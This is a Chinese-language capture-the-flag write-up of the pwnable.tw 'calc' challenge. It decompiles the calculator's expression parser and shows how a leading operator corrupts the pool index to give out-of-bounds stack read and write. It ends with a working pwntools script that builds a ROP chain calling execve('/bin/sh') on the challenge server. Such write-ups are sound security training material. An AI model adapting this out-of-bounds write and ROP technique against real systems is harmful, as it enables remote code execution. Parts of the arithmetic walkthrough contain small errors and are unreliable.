Pwnable.tw calc Writeup

kazma 成大資安社 創辦人/社長
  2024-02-11 22:59:16 2024-02-11 22:59:16 Created   2024-04-19 14:35:38 2024-04-19 14:35:38 Updated    

Pwnable.tw - calc

Description

Have you ever use Microsoft calculator?

Source

https://pwnable.tw/challenge/#3

0x1 Initial Reconnaissance

題目如名是一個計算機，跟前面一樣都是 x86 的 binary，然後是 statically linked，又 NX 有開，可能高機率會利用到 rop，這邊有個印象就好，執行的部分有發現一些不尋常的輸出，稍後可以來分析這些 case。

file

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└─$ file ./calc
./calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped

checksec

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└─$ checksec ./calc
[*] '/home/kazmatw/pwnable/calc/calc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

./calc

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└─$ ./calc
=== Welcome to SECPROG calculator ===
1+1
2
1/0
prevent division by zero
1+0
prevent division by zero
-50+50
43
+100+100
100
No time to waste!

0x2 Reverse Engineering

用 ida 反編譯並且整理過後，我們大致可以理解程式的行為如下：

main()

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int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(14, timeout);
  alarm(60);
  puts("=== Welcome to SECPROG calculator ===");
  fflush(stdout);
  calc();
  return puts("Merry Christmas!");
}

輸出歡迎後呼叫 cal()。

calc()

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void __cdecl calc()
{
  int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
  char input[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
  unsigned int canary; // [esp+5ACh] [ebp-Ch]

  canary = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(input, 0x400u);
    if ( !get_expr((int)input, 1024) )
      break;
    init_pool(pool);
    if ( parse_expr((int)input, pool) )
    {
      printf("%d\n", pool[pool[0]]);
      fflush(stdout);
    }
  }
}

用無限迴圈讀取使用者輸入，先用 bzero() 初始化即將要輸入的陣列，用 get_expr() 讀取，讀取成功後用 init_pool() 初始化結果陣列，並且呼叫 parse_expr() 計算結果，最後輸出答案： pool[pool[0]] ，接著細看 get_expr()。

get_expr()

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int __cdecl get_expr(int user_input, int max_input)
{
  int curr_index; // eax
  char input_char; // [esp+1Bh] [ebp-Dh] BYREF
  int count; // [esp+1Ch] [ebp-Ch]

  count = 0;
  while ( count < max_input && read(0, &input_char, 1) != -1 && input_char != '\n' )
  {
    if ( input_char == '+'
      || input_char == '-'
      || input_char == '*'
      || input_char == '/'
      || input_char == '%'
      || input_char > '/' && input_char <= '9' )
    {
      curr_index = count++;
      *(_BYTE *)(user_input + curr_index) = input_char;
    }
  }
  *(_BYTE *)(count + user_input) = 0;
  return count;
}

迴圈會判斷輸入是否：

  1. 小於 1024 個 Bytes
  2. 成功讀取字元
  3. 字元非換行符號
    皆符合就輸入到 user_input 的尾巴，最後會返回輸入的大小。

parse_expr()

這部分有點長，我把它拆開來分析：

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int __cdecl parse_expr(int input, _DWORD *pool)
{
  int pool_index; // eax
  int point_on_input; // [esp+20h] [ebp-88h]
  int i; // [esp+24h] [ebp-84h]
  int operators_array_index; // [esp+28h] [ebp-80h]
  int part_size; // [esp+2Ch] [ebp-7Ch]
  char *part_input; // [esp+30h] [ebp-78h]
  int part_input_int; // [esp+34h] [ebp-74h]
  char operators_array[100]; // [esp+38h] [ebp-70h] BYREF
  unsigned int canary; // [esp+9Ch] [ebp-Ch]

  canary = __readgsdword(0x14u);
  point_on_input = input;
  operators_array_index = 0;
  bzero(operators_array, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( *(char *)(i + input) - (unsigned int)'0' > 9 )
    {
      part_size = i + input - point_on_input;
      part_input = (char *)malloc(part_size + 1);
      memcpy(part_input, point_on_input, part_size);
      part_input[part_size] = 0;
      if ( !strcmp(part_input, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }

接下來一連串的判斷是要處理運算的先後順序，首先要是符號才能進入最外層，然後會把這個符號前未處理的數字切成 part_input 並且判斷是否為 0（這個程式拒絕任何的 0 單獨出現 XD，前面測試階段有發現）

2.

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part_input_int = atoi((int)part_input);
if ( part_input_int > 0 )
{
  pool_index = (*pool)++;
  pool[pool_index + 1] = part_input_int;
}
if ( *(_BYTE *)(i + input) && *(char *)(i + 1 + input) - (unsigned int)'0' > 9 )
{
  puts("expression error!");
  fflush(stdout);
  return 0;
}

第一部分沒問題後就會把切塊的字串轉成整數，因為 *pool = pool[0]，所以 pool_index 會儲存 pool[0] 之後，執行pool[0]+1 ，這邊可以理解成 pool[0] = pool.size()。把切塊的整數放到 pool 的最後面，接著判斷符號後面是否還有東西而且不是符號，否則輸出錯誤訊息。

3.

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      point_on_input = i + 1 + input;
      if ( operators_array[operators_array_index] )
      {
        switch ( *(_BYTE *)(i + input) )
        {
          case '%':
          case '*':
          case '/':
            if ( operators_array[operators_array_index] != '+' && operators_array[operators_array_index] != '-' )
              goto LABEL_14;
            operators_array[++operators_array_index] = *(_BYTE *)(i + input);
            break;
          case '+':
          case '-':
LABEL_14:
            eval(pool, operators_array[operators_array_index]);
            operators_array[operators_array_index] = *(_BYTE *)(i + input);
            break;
          default:
            eval(pool, operators_array[operators_array_index--]);
            break;
        }
      }
      else
      {
        operators_array[operators_array_index] = *(_BYTE *)(i + input);
      }
      if ( !*(_BYTE *)(i + input) )
        break;
    }
  }
  while ( operators_array_index >= 0 )
    eval(pool, operators_array[operators_array_index--]);
  return 1;
}

如果符號陣列不是空就照不同情況作運算，否則放入目前符號到符號陣列中，呼叫 eval() 計算。

eval()

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void __cdecl eval(_DWORD *pool, char operators)
{
  if ( operators == '+' )
  {
    pool[*pool - 1] += pool[*pool];
  }
  else if ( operators > '+' )
  {
    if ( operators == '-' )
    {
      pool[*pool - 1] -= pool[*pool];
    }
    else if ( operators == '/' )
    {
      pool[*pool - 1] /= (int)pool[*pool];
    }
  }
  else if ( operators == '*' )
  {
    pool[*pool - 1] *= pool[*pool];
  }
  --*pool;
}

可以發現 eval() 都是用 pool[0] 當成相對位址的 base 來取其他位置的值

0x3 Fuzzing & Analyze

在最一開始執行程式的時候有發現只要開頭是符號結果就怪怪的，我們來分析一下出了什麼問題，先拿 +12+34 當例子：

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└─$ ./calc
=== Welcome to SECPROG calculator ===
+12+34
34
  • 第一個加號
  1. 因為是符號會通過最外層的 if，且 part_input = ''，不等於 0 所以不會輸出錯誤訊息。
  2. 接著 atoi 會把空字串轉成 0，沒有大於 0 所以第一個判斷不會進，後面不是符號所以也不會進錯誤。
  3. operators_array[operators_array_index] 是空的所以會執行operators_array[0] = '+'，後面還有東西所以繼續執行。
  • 第二個加號
  1. 一樣會通過最外層的 if，part_input = 12，非 0 所以不會進錯誤。
  2. 整數 56 大於 0，所以會執行以下的程式碼：
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    if ( part_input_int > 0 )
    {
        pool_index = (*pool)++;
        pool[pool_index + 1] = part_input_int;
    }
    也就是：
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    pool_index = pool[0] = 0; 
    pool[0] += 1;
    pool[1] = part_input_int = 12;
    下個字元不是符號不會進錯誤。
  3. 符號陣列已經存了一個 '+' 所以會執行：
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    eval(pool, operators_array[operators_array_index]);
    operators_array[operators_array_index] = *(_BYTE *)(i + input);
    也就是：
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    eval(pool, '+')
    // 進入 eval()
    pool[pool[0] - 1] += pool[pool[0]];
    --*pool;
    // 離開 eval()
    operators_array[0] = '+';
    我們再細看一下 pool[pool[0] - 1] += pool[pool[0]];：
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    pool[0] = 1
    pool[1-1] = pool[0]
    pool[0] += pool[1] = 12
    pool[0] + 1 - 1 = 12
    關鍵就在這裡，作為相對位址基值的第零格被我們篡改了！
    接下就會再執行一次下面兩段程式碼：
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    // 1.
    pool_index = (*pool)++;
    pool[pool_index + 1] = part_input_int;
    // 2.
    pool[pool[0] - 1] += pool[pool[0]];
    --*pool;
    也就是：
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    // 1.
    pool_index = pool[0]++ = 13;
    pool[0] = 14
    pool[13 + 1] = 34
    // 2.
    pool[14 - 1] += pool[14] = 34
    pool[13] = pool[13] + 34
    pool[0] - 1 = 13
    這代表我們可以做到任意寫和任意讀，確認一下輸出的位置是哪裡：
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    if ( parse_expr((int)input, pool) )
    {
        printf("%d\n", pool[pool[0]]);
        fflush(stdout);
    }
    所以會印出 pool[pool[0]]:
    在這裡的情況就是
    1
    2
    pool[0] = 13
    pool[pool[0]] = pool[13]
    所以會印出 pool[13] = pool[13] + 34
    我們來把結論代數化方便我們理解他們的關係：
    假設 x, y 皆為正整數。

Case 1: +x

執行 1：

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if ( part_input_int > 0 )
{
    pool_index = (*pool)++;
    pool[pool_index + 1] = part_input_int;
}

結果 1：

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3
pool_index = pool[0] = 0
pool[0] = 1
pool[1] = x

執行 2:

1
2
pool[pool[0] - 1] += pool[pool[0]];
--*pool;

結果 2:

1
2
pool[0] += pool[1] = x 
pool[0] = x + 1 - 1 = x

印出：

1
pool[pool[0]] = pool[x]

Case 2: +x+y

基於上面的結果我們再加 y：
目前：

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pool_index = 0
pool[0] = x
pool[1] = x

執行 1：

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if ( part_input_int > 0 )
{
    pool_index = (*pool)++;
    pool[pool_index + 1] = part_input_int;
}

結果 1：

1
2
3
pool_index = pool[0] = x
pool[0] = x + 1
pool[x + 1] = y

執行 2:

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2
pool[pool[0] - 1] += pool[pool[0]];
--*pool;

結果 2:

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2
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4
pool[x + 1 - 1] += pool[x + 1] = y
pool[x] += y
pool[x] = pool[x] + y
pool[0] = x

印出：

1
pool[pool[0]] = pool[x] = pool[x] + y

代數化結論

  • +x
    • 印出 pool[x]
  • +x+y
    • pool[x] = pool[x] + y
    • pool[x + 1] = y
    • 印出 pool[x] = pool[x] + y

我們執行一個特殊的 case 確認一下我們的推論：
因為迴圈每次都會執行 init_pool(pool);
所以 case 會挑 pool 外的地址

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└─$ ./calc
=== Welcome to SECPROG calculator ===
└─$ ./calc
=== Welcome to SECPROG calculator ===
+400      # print(pool[400])
-1715908  # pool[400]
+399+123  # pool[400] = 123 print(pool[399] + 123)
123       # pool[399] + 123
+400      # print(pool[400])
123       # pool[400]

結論正確！

0x4 Exploitation

我們已經可以做到任意的 oob write & read 了，再來就是找 ret 跟 pool 的相對位置：
在 ida 有很貼心的幫我們標示 pool[] 的位置：
int pool[101]; // [esp+18h] [ebp-5A0h] BYREF
又 cal() 的 ret 在 ebp + 0x4，
0x5A0 + 0x4 = 0x5A4 / 4 = 361
所以 ret 在 pool[361] 的位置。
那最一開始有提到這題有開 NX 不能直接寫 shellcode，但因為是 statically linked，所以我會想先嘗試 rop 開 shell。
我們還需要知道 main_ebp 的位置，因為這題找不到 “\bin\sh”，所以我們要自己填再跳上去，因此會需要 leak main_ebp。
那 leak 的方式也很簡單，因為 pool[360] 就是存 main_ebp 所以可以透過輸入 +360 來獲得。
等等會直接把 /bin/sh 放在 in 0x80 後面，所以把 stack frame 用 gdb 釐清一下，進到 calc() 後印出 $ebp：

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gef➤  x $ebp
0xffffd278:     0xffffd298

所以可以得知 calc_ebp 到 main_ebp 的距離為 0x20。
來用表格呈現一下我們的 ROP chain：

Stack pool value Note
calc_ebp pool[360] main_ebp
calc_ret pool[361] 0x0805c34b pop_eax
main_ebp-0x18 pool[362] 0x0b 11
main_ebp-0x14 pool[363] 0x080701d0 pop_edx_ecx_ebx
main_ebp-0x10 pool[364] 0x0
main_ebp-0xc pool[365] 0x0
main_ebp-0x8 pool[366] main_ebp bin_sh_addr
main_ebp-0x4 pool[367] 0x08049a21 int 0x80
main_ebp pool[368] u32(“/bin”)
main_ret pool[369] u32(“/sh\0”)

填的時候要注意不能單獨出現 0，所以我們可以利用 +x+y 會把 pool[x] = pool[x] + y 的特性來放置我們的 rop，就可以避免跳 prevent division by zero 的錯誤。

0x5 Exploit

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from pwn import *
import warnings
warnings.filterwarnings("ignore", category = BytesWarning)

context.arch = 'i386'

#r = process('./calc')
r = remote("chall.pwnable.tw", 10100)
r.recv()
r.sendline("+360")
main_ebp = int(r.recv())
success("main_ebp: %s" % hex(main_ebp))

pop_eax = 0x0805c34b
pop_edx_ecx_ebx = 0x080701d0
int_0x80 = 0x08049a21

rop = [pop_eax, 0x0b, pop_edx_ecx_ebx, 0x0, 0x0, main_ebp, int_0x80, u32("/bin"), u32("/sh\0")]

offset = 361
for i in rop:
    payload = '+' + str(offset)
    r.sendline(payload)
    temp = int(r.recv())
    temp = i - temp
    if temp >= 0:
        payload += '+' + str(temp)
    else:
        payload += str(temp)
    r.sendline(payload)
    r.recv()
    offset += 1
r.interactive()

Result:

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└─$ python exploit.py
[+] Opening connection to chall.pwnable.tw on port 10100: Done
[+] main_ebp: -0x510cf8
[*] Switching to interactive mode
$ cat /home/calc/flag
FLAG{??????????????????}

0x6 References

一開始做的時候忽略 eval() 最後有個 --*pool;導致一直計算錯誤QQ。
這題寫了蠻久的，參考了很多大佬的 writeup，學到好多東西，未來應該也會用表格和拆解程式碼來輔助釐清思緒。
https://hackmd.io/@Zero871015/pwnable#calc
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/01/calc/
https://blog.csdn.net/weixin_46521144/article/details/118543069

Pwned !!!

  • Title: Pwnable.tw calc Writeup
  • Author: kazma
  • Created at : 2024-02-11 22:59:16
  • Updated at : 2024-04-19 14:35:38
  • Link: https://kazma.tw/2024/02/11/Pwnable-tw-calc-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
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Pwnable.tw calc Writeup
  1. Pwnable.tw - calc
    1. Description
    2. Source
  2. 0x1 Initial Reconnaissance
    1. file
    2. checksec
    3. ./calc
  3. 0x2 Reverse Engineering
    1. main()
    2. calc()
    3. get_expr()
    4. parse_expr()
    5. eval()
  4. 0x3 Fuzzing & Analyze
    1. Case 1: +x
    2. Case 2: +x+y
    3. 代數化結論
    4. 結論正確！
  5. 0x4 Exploitation
  6. 0x5 Exploit
  7. 0x6 References
    1. Pwned !!!